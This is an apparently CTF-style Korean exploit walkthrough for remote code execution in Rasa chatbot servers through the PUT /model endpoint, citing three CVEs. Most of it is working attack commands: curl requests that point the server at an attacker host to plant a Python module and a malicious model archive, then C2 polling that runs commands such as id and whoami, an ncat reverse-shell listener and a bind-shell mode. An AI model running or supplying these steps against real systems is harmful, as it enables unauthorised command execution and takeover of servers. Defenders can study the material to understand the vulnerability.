
CVE-2024-49375、CVE-2021-42556、CVE-2021-41127
바로 실행하면 됩니다.
python server-1.py

PUT /model
{"model_server":{"url":"http://192.168.244.128:5000/stage1","wait_time_between_pulls":0}}

결과는 다음과 같습니다:

기본 모델명: evil_import_model.tar.gz
악성 모델 데모
version: "3.1"
intents:
- greet
responses:
utter_greet:
- text: "PWNED_BY_CTF"
nlu:
- intent: greet
examples: |
- hello
- hi
rules:
- rule: greet rule
steps:
- intent: greet
- action: utter_greet
악성 대화 규칙 설정
greet입력 시PWNED_BY_CTF반환
PUT /model
{"model_server":{"url":"http://192.168.244.128:5000/stage2-probe-model","wait_time_between_pulls":0}

결과는 다음과 같습니다:

model.py는 압축 파일 내 지정 데이터를 수정합니다.
직접 실행: 기본적으로 /model 디렉터리의 모델을 읽고 수정하여 현재 디렉터리에 evil_import_model.tar.gz로 저장합니다.

리버스 IP 지정
기본 모델명: evil_import_model.tar.gz
python reverse_server.py --reverse-host 192.168.244.128

순서대로 데이터를 전송하면 됩니다.
실제 환경에서는 다를 수 있습니다.
공격자 Rasa 컨테이너(대상)
│ │
├─ server-2.py 실행 ─────────┤
├─ PUT /model ──→ /app/에 pwnmod.py 다운로드
├─ PUT /model ──→ 악성 모델 다운로드 → import pwnmod → agent 시작
│ │
│ ← GET /poll?agent=xxx ───┤ 3초마다 폴링
├─ /enqueue?cmd=id ─────────┤
│ ← GET /poll ─────────────┤ 명령 획득
│ ← POST /result ──────────┤ 결과 반환
├─ /last?agent=xxx ──→ 결과 읽기
# 공격자 실행
python server-2.py --mode c2 --c2-base-url http://<공격자IP>:8000 --port 8000
# 익스플로잇 트리거 (2단계)
curl -X PUT http://<rasa주소>:5005/model \
-H "Content-Type: application/json" \
-d '{"model_server": {"url": "http://<공격자IP>:8000/write-module"}}'
curl -X PUT http://<rasa주소>:5005/model \
-H "Content-Type: application/json" \
-d '{"model_server": {"url": "http://<공격자IP>:8000/model"}}'
# 명령 전송
curl "http://<공격자IP>:8000/enqueue?cmd=id"
# 8초 후 결과 읽기 (agent 3초 폴링 + 실행 시간)
curl "http://<공격자IP>:8000/last?agent=<hostname>"
# agent 미지정 시 와일드카드 사용
curl "http://<공격자IP>:8000/enqueue?cmd=whoami"
curl "http://<공격자IP>:8000/last"
# 1) 공격자 리스너 시작
ncat -lvnp 4444
# 2) 공격자 server-2.py 실행
python server-2.py --mode reverse --reverse-host <공격자IP> --reverse-port 4444 --port 8000
# 3) 익스플로잇 트리거
curl -X PUT http://<rasa주소>:5005/model \
-H "Content-Type: application/json" \
-d '{"model_server": {"url": "http://<공격자IP>:8000/write-module"}}'
curl -X PUT http://<rasa주소>:5005/model \
-H "Content-Type: application/json" \
-d '{"model_server": {"url": "http://<공격자IP>:8000/model"}}'
# 4) nc에서 $ 프롬프트 수신 후 직접 대화형
python server-2.py --mode bind --bind-port 4444 --port 8000
# agent가 대상 컨테이너 내에서 0.0.0.0:4444 리스닝
# ncat <대상IP> 4444 로 연결
| 파라미터 | 의미 |
|---|---|
--port 8000 | server-2.py 자체 리스닝 포트 |
--c2-base-url | C2 모드에서 agent가 폴링할 전체 base URL (컨테이너가 접근 가능한 주소여야 함) |
--reverse-host |
| 리버스 셸의 대상 IP |
--reverse-port | 리버스 셸의 대상 포트 |